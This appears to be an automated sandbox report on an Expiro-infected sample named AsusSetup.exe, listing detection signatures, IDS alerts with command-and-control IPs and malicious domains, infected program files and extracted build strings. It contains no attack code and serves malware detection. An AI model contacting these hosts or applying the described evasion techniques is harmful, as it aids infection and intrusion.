Edit tour

Windows Analysis Report
AsusSetup.exe

Overview

General Information

Sample name:	AsusSetup.exe
Analysis ID:	1543957
MD5:	13bf2819401d2f983fff90c1960831b8
SHA1:	0b8058088b47edbcf963ac2ac7d5b23fa35e0e90
SHA256:	7db9ca7dbe9a5724ef452585280e73a1a73563cc6a2559f2588d613454f70261
Tags:	exeExpirouser-lschab
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

AI detected suspicious sample

Contains functionality to behave differently if execute on a Russian/Kazak computer

Creates files in the system32 config directory

Drops executable to a common third party application directory

Found direct / indirect Syscall (likely to bypass EDR)

Infects executable files (exe, dll, sys, html)

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries random domain names (often used to prevent blacklisting and sinkholes)

Binary contains a suspicious time stamp

Connects to many different domains

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Enables driver privileges

Enables security privileges

Executes massive DNS lookups (> 100)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Execution of Suspicious File Type Extension

Spawns drivers

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

AsusSetup.exe (PID: 5880 cmdline: "C:\Users\user\Desktop\AsusSetup.exe" MD5: 13BF2819401D2F983FFF90C1960831B8)

armsvc.exe (PID: 4308 cmdline: "C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe" MD5: 828741995F05BE2FD6B071628F96F6B9)

alg.exe (PID: 2636 cmdline: C:\Windows\System32\alg.exe MD5: 332F38054E08BAEC551611993C8D1317)

AppVStrm.sys (PID: 4 cmdline: MD5: BDA55F89B69757320BC125FF1CB53B26)

AppvVemgr.sys (PID: 4 cmdline: MD5: E70EE9B57F8D771E2F4D6E6B535F6757)

AppvVfs.sys (PID: 4 cmdline: MD5: 2CBABD729D5E746B6BD8DC1B4B4DB1E1)

AppVClient.exe (PID: 3364 cmdline: C:\Windows\system32\AppVClient.exe MD5: 2148D94316FBFFE84543113C6A3C1FA4)

FXSSVC.exe (PID: 6972 cmdline: C:\Windows\system32\fxssvc.exe MD5: 5E3D1E384655DE6087F47BBB3A38FB17)

elevation_service.exe (PID: 7272 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe" MD5: 02A39F6A65834451980F9B1EE3EA62AA)

maintenanceservice.exe (PID: 7320 cmdline: "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe" MD5: 8692348A40AAA0C027003BE9DA09E432)

cleanup

Sigma Signatures

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: , CommandLine: , CommandLine|base64offset|contains: , Image: C:\Windows\System32\drivers\AppVStrm.sys, NewProcessName: C:\Windows\System32\drivers\AppVStrm.sys, OriginalFileName: C:\Windows\System32\drivers\AppVStrm.sys, ParentCommandLine: , ParentImage: , ParentProcessId: -1, ProcessCommandLine: , ProcessId: 4, ProcessName: AppVStrm.sys

Suricata Signatures

ET MALWARE DNS Query to Expiro Domain (cikivjto .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T16:52:07.869496+0100	2051654	1	A Network Trojan was detected	192.168.2.5	55131	1.1.1.1	53	UDP

ET MALWARE DNS Query to Expiro Domain (eufxebus .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T16:51:41.621440+0100	2051651	1	A Network Trojan was detected	192.168.2.5	53826	1.1.1.1	53	UDP

ET MALWARE DNS Query to Expiro Domain (htwqzczce .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T16:52:01.565340+0100	2051653	1	A Network Trojan was detected	192.168.2.5	53034	1.1.1.1	53	UDP

ET MALWARE DNS Query to Expiro Domain (kcyvxytog .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T16:52:15.882417+0100	2051650	1	A Network Trojan was detected	192.168.2.5	58235	1.1.1.1	53	UDP

ET MALWARE DNS Query to Expiro Domain (napws .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T16:52:38.611879+0100	2051652	1	A Network Trojan was detected	192.168.2.5	60710	1.1.1.1	53	UDP

ET MALWARE DNS Query to Expiro Related Domain (knjghuig .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T16:50:06.156760+0100	2051649	1	A Network Trojan was detected	192.168.2.5	64098	1.1.1.1	53	UDP
2024-10-28T16:52:55.922346+0100	2051649	1	A Network Trojan was detected	192.168.2.5	61825	1.1.1.1	53	UDP
2024-10-28T16:52:55.944670+0100	2051649	1	A Network Trojan was detected	192.168.2.5	61825	1.1.1.1	53	UDP

ET MALWARE DNS Query to Expiro Related Domain (przvgke .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T16:50:04.596830+0100	2051648	1	A Network Trojan was detected	192.168.2.5	62067	1.1.1.1	53	UDP
2024-10-28T16:52:54.306362+0100	2051648	1	A Network Trojan was detected	192.168.2.5	53017	1.1.1.1	53	UDP

ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T16:50:00.848951+0100	2018141	1	A Network Trojan was detected	54.244.188.177	80	192.168.2.5	49705	TCP
2024-10-28T16:50:02.388480+0100	2018141	1	A Network Trojan was detected	18.141.10.107	80	192.168.2.5	49707	TCP
2024-10-28T16:50:04.593285+0100	2018141	1	A Network Trojan was detected	44.221.84.105	80	192.168.2.5	49711	TCP
2024-10-28T16:50:43.727257+0100	2018141	1	A Network Trojan was detected	47.129.31.212	80	192.168.2.5	49919	TCP
2024-10-28T16:50:45.659876+0100	2018141	1	A Network Trojan was detected	13.251.16.150	80	192.168.2.5	49930	TCP
2024-10-28T16:50:51.190177+0100	2018141	1	A Network Trojan was detected	34.246.200.160	80	192.168.2.5	49966	TCP
2024-10-28T16:50:52.166217+0100	2018141	1	A Network Trojan was detected	18.208.156.248	80	192.168.2.5	49975	TCP
2024-10-28T16:50:58.470918+0100	2018141	1	A Network Trojan was detected	35.164.78.200	80	192.168.2.5	50002	TCP
2024-10-28T16:50:59.362254+0100	2018141	1	A Network Trojan was detected	3.94.10.34	80	192.168.2.5	50003	TCP
2024-10-28T16:51:04.096495+0100	2018141	1	A Network Trojan was detected	34.211.97.45	80	192.168.2.5	50006	TCP
2024-10-28T16:51:12.188937+0100	2018141	1	A Network Trojan was detected	18.246.231.120	80	192.168.2.5	50012	TCP
2024-10-28T16:51:26.049079+0100	2018141	1	A Network Trojan was detected	3.254.94.185	80	192.168.2.5	50023	TCP

ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T16:50:00.848951+0100	2037771	1	A Network Trojan was detected	54.244.188.177	80	192.168.2.5	49705	TCP
2024-10-28T16:50:02.388480+0100	2037771	1	A Network Trojan was detected	18.141.10.107	80	192.168.2.5	49707	TCP
2024-10-28T16:50:04.593285+0100	2037771	1	A Network Trojan was detected	44.221.84.105	80	192.168.2.5	49711	TCP
2024-10-28T16:50:43.727257+0100	2037771	1	A Network Trojan was detected	47.129.31.212	80	192.168.2.5	49919	TCP
2024-10-28T16:50:45.659876+0100	2037771	1	A Network Trojan was detected	13.251.16.150	80	192.168.2.5	49930	TCP
2024-10-28T16:50:51.190177+0100	2037771	1	A Network Trojan was detected	34.246.200.160	80	192.168.2.5	49966	TCP
2024-10-28T16:50:52.166217+0100	2037771	1	A Network Trojan was detected	18.208.156.248	80	192.168.2.5	49975	TCP
2024-10-28T16:50:58.470918+0100	2037771	1	A Network Trojan was detected	35.164.78.200	80	192.168.2.5	50002	TCP
2024-10-28T16:50:59.362254+0100	2037771	1	A Network Trojan was detected	3.94.10.34	80	192.168.2.5	50003	TCP
2024-10-28T16:51:04.096495+0100	2037771	1	A Network Trojan was detected	34.211.97.45	80	192.168.2.5	50006	TCP
2024-10-28T16:51:12.188937+0100	2037771	1	A Network Trojan was detected	18.246.231.120	80	192.168.2.5	50012	TCP
2024-10-28T16:51:26.049079+0100	2037771	1	A Network Trojan was detected	3.254.94.185	80	192.168.2.5	50023	TCP

ETPRO MALWARE Win32/Expiro.NDO CnC Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T16:50:03.407124+0100	2850851	1	Malware Command and Control Activity Detected	192.168.2.5	49709	44.221.84.105	80	TCP
2024-10-28T16:51:12.183078+0100	2850851	1	Malware Command and Control Activity Detected	192.168.2.5	50012	18.246.231.120	80	TCP
2024-10-28T16:52:12.523104+0100	2850851	1	Malware Command and Control Activity Detected	192.168.2.5	50068	18.208.156.248	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: AsusSetup.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Java\jre-1.8\bin\jjs.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Java\jre-1.8\bin\java-rmi.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Java\jre-1.8\bin\jabswitch.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.132\117.0.5938.132_chrome_installer.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	Avira: detection malicious, Label: W32/Infector.Gen

Multi AV Scanner detection for submitted file

Source: AsusSetup.exe

ReversingLabs: Detection: 73%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.7% probability

Machine Learning detection for dropped file

Source: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Java\jre-1.8\bin\jjs.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Java\jre-1.8\bin\java-rmi.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Java\jre-1.8\bin\jabswitch.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.132\117.0.5938.132_chrome_installer.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: AsusSetup.exe

Joe Sandbox ML: detected

Source:	Binary string: C:\work\p4\splinters\Splinters\S\BuildResults\bin\Win32\ReaderRelease\FullTrustNotifier\FullTrustNotifier.pdb77.GCTL source: alg.exe, 00000003.00000003.2441312172.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\DCB\CBT_Main\BuildResults\bin\Win32\Release\armsvc.pdb source: AsusSetup.exe, 00000000.00000003.2150436994.0000000003080000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\PkgInstaller\base\ntsetup\SrvPack.Main\tools\sfxcab\sfxcab\objfre\i386\sfxcab.pdb source: alg.exe, 00000003.00000003.2497425619.0000000001450000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2490830927.0000000001540000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2489526924.0000000001530000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\ktab_objs\ktab.pdb source: ktab.exe.3.dr
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\AcrobatInfo.pdb source: alg.exe, 00000003.00000003.2246078357.0000000001610000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\TextExtractor.pdb444 source: alg.exe, 00000003.00000003.2331276660.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\TextExtractor.pdb source: alg.exe, 00000003.00000003.2331276660.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ADelRCP_Exec.pdb source: alg.exe, 00000003.00000003.2344856295.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: PresentationFontCache.pdb source: AsusSetup.exe, 00000000.00000003.2178500050.0000000002B00000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2204155544.00000000016B0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mavinject32.pdbGCTL source: alg.exe, 00000003.00000003.2526934752.00000000016C0000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2530818713.00000000016C0000.00000004.00001000.00020000.00000000.sdmp, MavInject32.exe.3.dr
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\licensing\x-none\ospprearm.pdb source: OSPPREARM.EXE.3.dr
Source:	Binary string: MicrosoftEdgeUpdateBroker_unsigned.pdb source: MicrosoftEdgeUpdateBroker.exe.3.dr
Source:	Binary string: D:\GitSourceCode\AsTaskSched\Release\AsTaskSched.pdb source: AsusSetup.exe
Source:	Binary string: crashreporter.pdb source: alg.exe, 00000003.00000003.2690809228.0000000001560000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: plugin-container.pdb source: alg.exe, 00000003.00000003.2861757838.00000000004C0000.00000004.00001000.00020000.00000000.sdmp, plugin-container.exe.3.dr
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\WebInstaller\AcroMiniServicesUpdater.pdb source: alg.exe, 00000003.00000003.2307813796.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: F:\SourceCodeTB\SCD_AutoRunSource\AsusSetup\x64\Release\AsusSetup.pdb source: AsusSetup.exe
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\plug_ins\pi_brokers\MSRMSPIBroker.pdbAAAGCTL source: alg.exe, 00000003.00000003.2437526500.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\dbs\el\omr\Target\x64\ship\click2run\x-none\InspectorOfficeGadget.pdb source: alg.exe, 00000003.00000003.2517356706.00000000016C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\Acrobat\Installers\ShowAppPickerForPDF\Release_x64\ShowAppPickerForPDF.pdb source: alg.exe, 00000003.00000003.2451910893.0000000001450000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2446761118.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: GoogleUpdateOnDemand_unsigned.pdb source: GoogleUpdateOnDemand.exe.3.dr
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\WCChromeNativeMessagingHost.pdb888 source: alg.exe, 00000003.00000003.2366770450.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\GitSourceCode\AsTaskSched\x64\Release\AsTaskSched.pdb source: AsusSetup.exe
Source:	Binary string: Acrobat_SL.pdb((( source: alg.exe, 00000003.00000003.2253031986.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: pingsender.pdb source: alg.exe, 00000003.00000003.2834736372.0000000001450000.00000004.00001000.00020000.00000000.sdmp, pingsender.exe.3.dr
Source:	Binary string: DiagnosticsHub.StandardCollector.Service.pdbGCTL source: AsusSetup.exe, 00000000.00000003.2170806600.0000000002B40000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ADelRCP_Exec.pdbCC9 source: alg.exe, 00000003.00000003.2344856295.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\AcroBroker.pdb source: alg.exe, 00000003.00000003.2260700730.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: Acrobat_SL.pdb source: alg.exe, 00000003.00000003.2253031986.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: private_browsing.pdb source: alg.exe, 00000003.00000003.2881778104.0000000000470000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\PkgInstaller\base\ntsetup\SrvPack.Main\tools\sfxcab\sfxcab\objfre\i386\sfxcab.pdbU source: alg.exe, 00000003.00000003.2497425619.0000000001450000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2490830927.0000000001540000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2489526924.0000000001530000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\WebInstaller\AcroMiniServicesUpdater.pdbT source: alg.exe, 00000003.00000003.2307813796.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\workspace\CR-Windows-x64-Client-Builder\x64\Release\CRWindowsClientService.pdbGG source: alg.exe, 00000003.00000003.2380164583.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\AcrobatInfo.pdb))) source: alg.exe, 00000003.00000003.2246078357.0000000001610000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mavinject32.pdb source: alg.exe, 00000003.00000003.2526934752.00000000016C0000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2530818713.00000000016C0000.00000004.00001000.00020000.00000000.sdmp, MavInject32.exe.3.dr
Source:	Binary string: msdtcexe.pdbGCTL source: AsusSetup.exe, 00000000.00000003.2202176160.0000000002B40000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: maintenanceservice.pdb source: AsusSetup.exe, 00000000.00000003.2191928065.0000000002B40000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2772620436.0000000001470000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: 64BitMAPIBroker.pdb source: alg.exe, 00000003.00000003.2419515500.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\dbs\el\omr\Target\x64\ship\click2run\x-none\InspectorOfficeGadget.pdbY source: alg.exe, 00000003.00000003.2517356706.00000000016C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: firefox.pdb source: alg.exe, 00000003.00000003.2757514944.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: E:\jenkins\workspace\NGL_WORKFLOW\build\master\win64\Release\Acrobat\project\win\ngl-workflow\x64\Release (Acrobat)\adobe_licensing_wf_helper_acro.pdb source: alg.exe, 00000003.00000003.2407189666.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\WCChromeNativeMessagingHost.pdb source: alg.exe, 00000003.00000003.2366770450.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: firefox.pdbP source: alg.exe, 00000003.00000003.2757514944.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\b\s\w\ir\cache\builder\src\out\Release_x64\setup.exe.pdb source: setup.exe1.3.dr
Source:	Binary string: D:\T\BuildResults\bin\Release\Plug_ins\pi_brokers\32BitMAPIBroker.pdb@@ source: alg.exe, 00000003.00000003.2411283042.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\work\p4\splinters\Splinters\S\BuildResults\bin\Win32\ReaderRelease\FullTrustNotifier\FullTrustNotifier.pdb source: alg.exe, 00000003.00000003.2441312172.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: private_browsing.pdbp source: alg.exe, 00000003.00000003.2881778104.0000000000470000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\workspace\CR-Windows-x64-Client-Builder\x64\Release\CRWindowsClientService.pdb source: alg.exe, 00000003.00000003.2380164583.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\ktab_objs\ktab.pdb source: ktab.exe.3.dr
Source:	Binary string: C:\b\s\w\ir\cache\builder\src\out\Release_x64\chrome_pwa_launcher.exe.pdb source: chrome_pwa_launcher.exe.3.dr
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\plug_ins\pi_brokers\MSRMSPIBroker.pdb source: alg.exe, 00000003.00000003.2437526500.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: maintenanceservice.pdb` source: AsusSetup.exe, 00000000.00000003.2191928065.0000000002B40000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2772620436.0000000001470000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\Acrobat\Installers\ShowAppPickerForPDF\Release_x64\ShowAppPickerForPDF.pdb$$ source: alg.exe, 00000003.00000003.2451910893.0000000001450000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2446761118.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\Eula.pdb source: alg.exe, 00000003.00000003.2385765536.0000000001540000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ALG.pdb source: AsusSetup.exe, 00000000.00000003.2154306275.0000000002B00000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: minidump-analyzer.pdb source: alg.exe, 00000003.00000003.2814896754.0000000000400000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\b\s\w\ir\cache\builder\src\out\Release_x64\chrome_proxy.exe.pdb source: alg.exe, 00000003.00000003.2678114905.0000000001490000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: msdtcexe.pdb source: AsusSetup.exe, 00000000.00000003.2202176160.0000000002B40000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\licensing\x-none\ospprearm.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: OSPPREARM.EXE.3.dr
Source:	Binary string: DiagnosticsHub.StandardCollector.Service.pdb source: AsusSetup.exe, 00000000.00000003.2170806600.0000000002B40000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ALG.pdbGCTL source: AsusSetup.exe, 00000000.00000003.2154306275.0000000002B00000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: PresentationFontCache.pdbHt^t Pt_CorExeMainmscoree.dll source: AsusSetup.exe, 00000000.00000003.2178500050.0000000002B00000.00000004.00001000.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2204155544.00000000016B0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\AcroBroker.pdbTTT source: alg.exe, 00000003.00000003.2260700730.0000000001540000.00000004.00001000.00020000.00000000.sdmp
